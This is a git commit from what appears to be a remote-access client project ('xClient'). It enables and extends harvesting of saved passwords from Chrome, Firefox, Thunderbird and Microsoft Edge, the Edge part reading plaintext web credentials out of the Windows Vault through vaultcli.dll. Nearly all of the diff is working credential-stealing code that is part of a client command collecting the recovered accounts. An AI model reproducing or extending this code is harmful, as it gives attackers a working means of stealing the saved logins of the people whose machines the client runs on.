Fixed Firefox pw recovery and added Thunderbird + MS Edge (including newer IE versions)

This commit is contained in:
ubbelol 2017-02-15 09:51:12 +01:00
parent 9a81631f65
commit 137d2973f7
5 changed files with 228 additions and 343 deletions

View File

@ -51,6 +51,9 @@
<Reference Include="System.Security" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="Windows.Security">
<HintPath>..\..\..\..\..\..\..\Windows\System32\WinMetadata\Windows.Security.winmd</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Core\AForge\Video.DirectShow\CameraControlProperty.cs" />

View File

@ -23,12 +23,12 @@ namespace xClient.Core.Commands
{
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
// recovered.AddRange(Chrome.GetSavedPasswords());
recovered.AddRange(Chrome.GetSavedPasswords());
recovered.AddRange(Opera.GetSavedPasswords());
recovered.AddRange(Yandex.GetSavedPasswords());
recovered.AddRange(InternetExplorer.GetSavedPasswords());
// recovered.AddRange(Firefox.GetSavedPasswords());
// Thunderbird.nssModule = Firefox.NssModule;
recovered.AddRange(Firefox.GetSavedPasswords());
recovered.AddRange(Edge.GetPasswords());
recovered.AddRange(Outlook.GetSavedPasswords());
recovered.AddRange(Thunderbird.GetSavedPasswords());
recovered.AddRange(FileZilla.GetSavedPasswords());

View File

@ -11,226 +11,113 @@ namespace xClient.Core.Recovery.Browsers
{
public static class Edge
{
public enum CredentialType : uint
[StructLayout(LayoutKind.Sequential, Pack = 4)]
//[StructLayout(LayoutKind.Sequential)]
private struct VAULT_ITEM
{
None = 0,
Generic = 1,
DomainPassword = 2,
DomainCertificate = 3,
DomainVisiblePassword = 4
public Guid SchemaId;
public IntPtr CredentialFriendlyName;
public IntPtr ResourceElement;
public IntPtr IdentityElement;
public IntPtr AuthenticatorElement;
// Win8+ specific
public IntPtr PackageSid;
public ulong LastModified;
public uint Flags;
public uint PropertiesCount;
public IntPtr PropertyElements;
}
public const int CREDUI_MAX_USERNAME_LENGTH = 513;
public const int CREDUI_MAX_PASSWORD_LENGTH = 256;
public const int CREDUI_MAX_MESSAGE_LENGTH = 32767;
public const int CREDUI_MAX_CAPTION_LENGTH = 128;
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi, CharSet = CharSet.Auto)]
internal static extern int VaultEnumerateVaults(int flags, out int ucount, out IntPtr items);
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi, CharSet = CharSet.Auto)]
internal static extern int VaultEnumerateItems(IntPtr hVault, int flags, out int itemCount, out IntPtr items);
[StructLayout(LayoutKind.Sequential)]
internal struct CREDENTIAL
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
internal static extern int VaultOpenVault(IntPtr vaultId, int flags, out IntPtr vaultHandle);
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
internal static extern int VaultGetItem(IntPtr hVault, ref Guid schemaId, IntPtr resource, IntPtr identity, IntPtr packageSid, int owner, int flags, ref IntPtr item);
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
internal static extern int VaultFree(IntPtr pMem);
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
internal static extern int VaultCloseVault(IntPtr hVault);
private const string VaultWebCredentialId = "3ccd5499-87a8-4b10-a215-608888dd3b55";
private static bool NtSuccess(int code)
{
public int Flags;
public int Type;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetName;
[MarshalAs(UnmanagedType.LPWStr)] public string Comment;
public long LastWritten;
public int CredentialBlobSize;
public IntPtr CredentialBlob;
public int Persist;
public int AttributeCount;
public IntPtr Attributes;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias;
[MarshalAs(UnmanagedType.LPWStr)] public string UserName;
return code == 0;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct CREDUI_INFO
public static List<RecoveredAccount> GetPasswords()
{
public int cbSize;
public IntPtr hwndParent;
public string pszMessageText;
public string pszCaptionText;
public IntPtr hbmBanner;
}
var retList = new List<RecoveredAccount>();
[Flags]
internal enum WINXP_CREDUI_FLAGS
{
INCORRECT_PASSWORD = 0x00001,
DO_NOT_PERSIST = 0x00002,
REQUEST_ADMINISTRATOR = 0x00004,
EXCLUDE_CERTIFICATES = 0x00008,
REQUIRE_CERTIFICATE = 0x00010,
SHOW_SAVE_CHECK_BOX = 0x00040,
ALWAYS_SHOW_UI = 0x00080,
REQUIRE_SMARTCARD = 0x00100,
PASSWORD_ONLY_OK = 0x00200,
VALIDATE_USERNAME = 0x00400,
COMPLETE_USERNAME = 0x00800,
PERSIST = 0x01000,
SERVER_CREDENTIAL = 0x04000,
EXPECT_CONFIRMATION = 0x20000,
GENERIC_CREDENTIALS = 0x40000,
USERNAME_TARGET_CREDENTIALS = 0x80000,
KEEP_USERNAME = 0x100000,
}
[Flags]
internal enum WINVISTA_CREDUI_FLAGS
{
/// <summary>
/// The caller is requesting that the credential provider return the user name and password in plain text.
/// This value cannot be combined with SECURE_PROMPT.
/// </summary>
CREDUIWIN_GENERIC = 0x1,
/// <summary>
/// The Save check box is displayed in the dialog box.
/// </summary>
CREDUIWIN_CHECKBOX = 0x2,
/// <summary>
/// Only credential providers that support the authentication package specified by the authPackage parameter should be enumerated.
/// This value cannot be combined with CREDUIWIN_IN_CRED_ONLY.
/// </summary>
CREDUIWIN_AUTHPACKAGE_ONLY = 0x10,
/// <summary>
/// Only the credentials specified by the InAuthBuffer parameter for the authentication package specified by the authPackage parameter should be enumerated.
/// If this flag is set, and the InAuthBuffer parameter is NULL, the function fails.
/// This value cannot be combined with CREDUIWIN_AUTHPACKAGE_ONLY.
/// </summary>
CREDUIWIN_IN_CRED_ONLY = 0x20,
/// <summary>
/// Credential providers should enumerate only administrators. This value is intended for User Account Control (UAC) purposes only. We recommend that external callers not set this flag.
/// </summary>
CREDUIWIN_ENUMERATE_ADMINS = 0x100,
/// <summary>
/// Only the incoming credentials for the authentication package specified by the authPackage parameter should be enumerated.
/// </summary>
CREDUIWIN_ENUMERATE_CURRENT_USER = 0x200,
/// <summary>
/// The credential dialog box should be displayed on the secure desktop. This value cannot be combined with CREDUIWIN_GENERIC.
/// Windows Vista: This value is not supported until Windows Vista with SP1.
/// </summary>
CREDUIWIN_SECURE_PROMPT = 0x1000,
/// <summary>
/// The credential provider should align the credential BLOB pointed to by the refOutAuthBuffer parameter to a 32-bit boundary, even if the provider is running on a 64-bit system.
/// </summary>
CREDUIWIN_PACK_32_WOW = 0x10000000,
}
internal enum CredUIReturnCodes
{
NO_ERROR = 0,
ERROR_CANCELLED = 1223,
ERROR_NO_SUCH_LOGON_SESSION = 1312,
ERROR_NOT_FOUND = 1168,
ERROR_INVALID_ACCOUNT_NAME = 1315,
ERROR_INSUFFICIENT_BUFFER = 122,
ERROR_BAD_ARGUMENTS = 160,
ERROR_INVALID_PARAMETER = 87,
ERROR_INVALID_FLAGS = 1004,
}
internal enum CREDErrorCodes
{
NO_ERROR = 0,
ERROR_NOT_FOUND = 1168,
ERROR_NO_SUCH_LOGON_SESSION = 1312,
ERROR_INVALID_PARAMETER = 87,
ERROR_INVALID_FLAGS = 1004,
ERROR_BAD_USERNAME = 2202,
SCARD_E_NO_READERS_AVAILABLE = (int) (0x8010002E - 0x100000000),
SCARD_E_NO_SMARTCARD = (int) (0x8010000C - 0x100000000),
SCARD_W_REMOVED_CARD = (int) (0x80100069 - 0x100000000),
SCARD_W_WRONG_CHV = (int) (0x8010006B - 0x100000000)
}
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag,
out IntPtr CredentialPtr);
[DllImport("Advapi32.dll", EntryPoint = "CredWriteW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool CredWrite([In] ref CREDENTIAL userCredential, [In] UInt32 flags);
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
internal static extern bool CredFree([In] IntPtr cred);
[DllImport("advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
internal static extern bool CredDelete(StringBuilder target, CredentialType type, int flags);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool CredEnumerateW(string filter, int flag, out uint count, out IntPtr pCredentials);
[DllImport("credui.dll")]
internal static extern CredUIReturnCodes CredUIPromptForCredentials(ref CREDUI_INFO creditUR, string targetName,
IntPtr reserved1, int iError, StringBuilder userName, int maxUserName, StringBuilder password,
int maxPassword, [MarshalAs(UnmanagedType.Bool)] ref bool pfSave, int flags);
[DllImport("credui.dll", CharSet = CharSet.Unicode)]
internal static extern CredUIReturnCodes CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere,
int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer,
out uint refOutAuthBufferSize, ref bool fSave, int flags);
[DllImport("ole32.dll")]
internal static extern void CoTaskMemFree(IntPtr ptr);
[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern Boolean CredPackAuthenticationBuffer(int dwFlags, StringBuilder pszUserName,
StringBuilder pszPassword, IntPtr pPackedCredentials, ref int pcbPackedCredentials);
[DllImport("credui.dll", CharSet = CharSet.Auto)]
internal static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer,
StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame,
StringBuilder pszPassword, ref int pcchMaxPassword);
internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid
{
// Set the handle.
internal CriticalCredentialHandle(IntPtr preexistingHandle)
try
{
SetHandle(preexistingHandle);
}
internal CREDENTIAL GetCredential()
{
if (!IsInvalid)
int count;
IntPtr items;
if (NtSuccess(VaultEnumerateVaults(0, out count, out items)))
{
// Get the Credential from the mem location
return (CREDENTIAL) Marshal.PtrToStructure(handle, typeof(CREDENTIAL));
}
else
{
throw new InvalidOperationException("Invalid CriticalHandle!");
for (var i = 0; i < count; i++)
{
IntPtr hVault;
if (NtSuccess(VaultOpenVault(items + i*Marshal.SizeOf(typeof(Guid)), 0, out hVault)))
{
IntPtr pItems;
int itemCount;
if (
NtSuccess(VaultEnumerateItems(hVault, 512 /* VAULT_ENUMERATE_ALL_ITEMS */, out itemCount,
out pItems)))
{
for (var j = 0; j < itemCount; j++)
{
var vaultItem =
(VAULT_ITEM)
Marshal.PtrToStructure(pItems + j*Marshal.SizeOf(typeof(VAULT_ITEM)),
typeof(VAULT_ITEM));
var acc = new RecoveredAccount();
// We're only interested in web credentials
if (vaultItem.SchemaId.Equals(new Guid(VaultWebCredentialId)))
{
acc.Application = "Microsoft Edge";
acc.URL = Marshal.PtrToStringUni(vaultItem.ResourceElement + 32);
acc.Username = Marshal.PtrToStringUni(vaultItem.IdentityElement + 32);
var pPasswVaultItem = IntPtr.Zero;
if (
NtSuccess(VaultGetItem(hVault, ref vaultItem.SchemaId,
vaultItem.ResourceElement,
vaultItem.IdentityElement, IntPtr.Zero, 0, 0,
ref pPasswVaultItem)))
{
var passwVaultItem =
(VAULT_ITEM) Marshal.PtrToStructure(pPasswVaultItem, typeof(VAULT_ITEM));
acc.Password =
Marshal.PtrToStringUni(passwVaultItem.AuthenticatorElement + 32);
VaultFree(pPasswVaultItem);
retList.Add(acc);
}
}
}
}
VaultCloseVault(hVault);
}
}
}
}
// Perform any specific actions to release the handle in the ReleaseHandle method.
// Often, you need to use Pinvoke to make a call into the Win32 API to release the
// handle. In this case, however, we can use the Marshal class to release the unmanaged memory.
override protected bool ReleaseHandle()
catch
{
// If the handle was set, free it. Return success.
if (!IsInvalid)
{
// NOTE: We should also ZERO out the memory allocated to the handle, before free'ing it
// so there are no traces of the sensitive data left in memory.
CredFree(handle);
// Mark the handle as invalid for future users.
SetHandleAsInvalid();
return true;
}
// Return false.
return false;
}
return retList;
}
}
}

View File

@ -19,7 +19,14 @@ namespace xClient.Core.Recovery.Browsers
/// </summary>
public static class Firefox
{
public static IntPtr NssModule;
private static IntPtr _nssModule;
private static IntPtr _dll1;
private static IntPtr _dll2;
private static IntPtr _dll3;
private static IntPtr _dll4;
private static IntPtr _dll5;
private static long _keySlot;
private static DirectoryInfo firefoxPath;
private static DirectoryInfo firefoxProfilePath;
@ -87,6 +94,23 @@ namespace xClient.Core.Recovery.Browsers
{
}
PK11_FreeSlot(_keySlot);
NSS_Shutdown();
if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);
return firefoxPasswords;
}
@ -144,27 +168,30 @@ namespace xClient.Core.Recovery.Browsers
#endregion
#region Functions
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
{
//Return if under firefox 35 (35+ supported)
//Firefox changes their DLL heirarchy/code with different releases
//So we need to avoid trying to load a DLL in the wrong order
//To prevent pop up saying it could not load the DLL
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major <
new Version("35.0.0").Major)
return;
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
NssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
var test = NSS_Init(firefoxProfilePath.FullName);
long keySlot = PK11_GetInternalKeySlot();
PK11_Authenticate(keySlot, true, 0);
_dll1 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
_dll2 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
_dll3 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
_dll4 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
_dll5 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
_nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr) Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
NSS_Init(firefoxProfilePath.FullName);
_keySlot = PK11_GetInternalKeySlot();
PK11_Authenticate(_keySlot, true, 0);
}
private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
@ -257,7 +284,10 @@ namespace xClient.Core.Recovery.Browsers
static extern bool FreeLibrary(IntPtr hModule);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long NSS_InitPtr(string configdir);
private delegate int PK11_FreeSlotPtr(long keySlot);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSS_InitPtr(string configdir);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
@ -344,39 +374,45 @@ namespace xClient.Core.Recovery.Browsers
#region Delegate Handling
private static void NSS_Shutdown()
private static int NSS_Shutdown()
{
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSS_Shutdown");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Shutdown");
NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
ptr();
FreeLibrary(NssModule);
return ptr();
}
// Credit: http://www.codeforge.com/article/249225
private static long PK11_GetInternalKeySlot()
{
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11_GetInternalKeySlot");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_GetInternalKeySlot");
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
return ptr();
}
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
{
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11_Authenticate");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_Authenticate");
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
return ptr(slot, loadCerts, wincx);
}
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
{
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSSBase64_DecodeBuffer");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSSBase64_DecodeBuffer");
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
return ptr(arenaOpt, outItemOpt, inStr, inLen);
}
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
{
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11SDR_Decrypt");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt");
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
return ptr(ref data, ref result, cx);
}
private static int PK11_FreeSlot(long keySlot)
{
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_FreeSlot");
PK11_FreeSlotPtr ptr = (PK11_FreeSlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_FreeSlotPtr));
return ptr(keySlot);
}
private static string Decrypt(string cypherText)
{
StringBuilder sb = new StringBuilder(cypherText);

View File

@ -19,7 +19,14 @@ namespace xClient.Core.Recovery.Other
/// </summary>
public static class Thunderbird
{
public static IntPtr nssModule;
private static IntPtr _nssModule;
private static IntPtr _dll1;
private static IntPtr _dll2;
private static IntPtr _dll3;
private static IntPtr _dll4;
private static IntPtr _dll5;
private static long _keySlot;
private static DirectoryInfo thunderbirdPath;
private static DirectoryInfo thunderbirdProfilePath;
@ -86,84 +93,55 @@ namespace xClient.Core.Recovery.Other
catch (Exception e)
{
}
PK11_FreeSlot(_keySlot);
NSS_Shutdown();
if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);
return thunderbirdPasswords;
}
/// <summary>
/// Recover thunderbird Cookies from the SQLite3 Database
/// </summary>
/// <returns>List of Cookies found</returns>
public static List<thunderbirdCookie> GetSavedCookies()
{
List<thunderbirdCookie> data = new List<thunderbirdCookie>();
SQLiteHandler sql = new SQLiteHandler(thunderbirdCookieFile.FullName);
if (!sql.ReadTable("moz_cookies"))
throw new Exception("Could not read cookie table");
int totalEntries = sql.GetRowCount();
for (int i = 0; i < totalEntries; i++)
{
try
{
string h = sql.GetValue(i, "host");
//Uri host = new Uri(h);
string name = sql.GetValue(i, "name");
string val = sql.GetValue(i, "value");
string path = sql.GetValue(i, "path");
bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;
// if this fails we're in deep shit
long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
long currentTime = ToUnixTime(DateTime.Now);
DateTime exp = FromUnixTime(expiryTime);
bool expired = currentTime > expiryTime;
data.Add(new thunderbirdCookie()
{
Host = h,
ExpiresUTC = exp,
Expired = expired,
Name = name,
Value = val,
Path = path,
Secure = secure,
HttpOnly = http
});
}
catch (Exception)
{
return data;
}
}
return data;
}
#endregion
#region Functions
private static void InitializeDelegates(DirectoryInfo thunderbirdProfilePath, DirectoryInfo thunderbirdPath)
{
//Return if under thunderbird 35 (35+ supported)
//thunderbird changes their DLL heirarchy/code with different releases
//So we need to avoid trying to load a DLL in the wrong order
//To prevent pop up saying it could not load the DLL
//if (new Version(FileVersionInfo.GetVersionInfo(thunderbirdPath.FullName + "\\thunderbird.exe").FileVersion).Major < new Version("35.0.0").Major)
// return;
if (new Version(FileVersionInfo.GetVersionInfo(thunderbirdPath.FullName + "\\thunderbird.exe").FileVersion).Major < new Version("35.0.0").Major)
return;
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr100.dll");
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp100.dll");
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr120.dll");
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp120.dll");
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
nssModule = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
var test = NSS_Init(thunderbirdProfilePath.FullName);
long keySlot = PK11_GetInternalKeySlot();
PK11_Authenticate(keySlot, true, 0);
_dll1 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr100.dll");
_dll2 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp100.dll");
_dll3 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr120.dll");
_dll4 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp120.dll");
_dll5 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
_nssModule = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr) Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
NSS_Init(thunderbirdProfilePath.FullName);
_keySlot = PK11_GetInternalKeySlot();
PK11_Authenticate(_keySlot, true, 0);
}
private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
@ -204,9 +182,9 @@ namespace xClient.Core.Recovery.Other
// get thunderbird path from registry
using (RegistryKey key = PlatformHelper.Is64Bit ?
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla firefox") :
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird") :
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Mozilla\Mozilla firefox"))
@"SOFTWARE\Mozilla\Mozilla Thunderbird"))
{
if (key == null) return null;
@ -233,23 +211,13 @@ namespace xClient.Core.Recovery.Other
#endregion
#region WinApi
// Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
private static IntPtr LoadWin32Library(string libPath)
{
if (String.IsNullOrEmpty(libPath))
throw new ArgumentNullException("libPath");
IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
if (moduleHandle == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool FreeLibrary(IntPtr hModule);
throw new Exception("can't load DLL " + libPath, innerEx);
}
return moduleHandle;
}
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int PK11_FreeSlotPtr(long keySlot);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long NSS_InitPtr(string configdir);
@ -266,6 +234,9 @@ namespace xClient.Core.Recovery.Other
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSS_ShutdownPtr();
[StructLayout(LayoutKind.Sequential)]
private struct TSECItem
{
@ -335,38 +306,52 @@ namespace xClient.Core.Recovery.Other
#endregion
#region Delegate Handling
private static int NSS_Shutdown()
{
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Shutdown");
NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
return ptr();
}
// Credit: http://www.codeforge.com/article/249225
private static long PK11_GetInternalKeySlot()
{
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_GetInternalKeySlot");
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
return ptr();
}
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
{
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_Authenticate");
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
return ptr(slot, loadCerts, wincx);
}
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
{
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSSBase64_DecodeBuffer");
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
return ptr(arenaOpt, outItemOpt, inStr, inLen);
}
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
{
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt");
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
return ptr(ref data, ref result, cx);
}
private static int PK11_FreeSlot(long keySlot)
{
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_FreeSlot");
PK11_FreeSlotPtr ptr = (PK11_FreeSlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_FreeSlotPtr));
return ptr(keySlot);
}
private static string Decrypt(string cypherText)
{
StringBuilder sb = new StringBuilder(cypherText);
int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
TSECItem tSecDec = new TSECItem();
TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
if ((PK11SDR_Decrypt(ref item, ref tSecDec, 0)) == 0)
{
if (tSecDec.SECItemLen != 0)
{
@ -379,30 +364,4 @@ namespace xClient.Core.Recovery.Other
}
#endregion
}
public class thunderbirdPassword
{
public string Username { get; set; }
public string Password { get; set; }
public Uri Host { get; set; }
public override string ToString()
{
return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine);
}
}
public class thunderbirdCookie
{
public string Host { get; set; }
public string Name { get; set; }
public string Value { get; set; }
public string Path { get; set; }
public DateTime ExpiresUTC { get; set; }
public bool Secure { get; set; }
public bool HttpOnly { get; set; }
public bool Expired { get; set; }
public override string ToString()
{
return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure);
}
}
}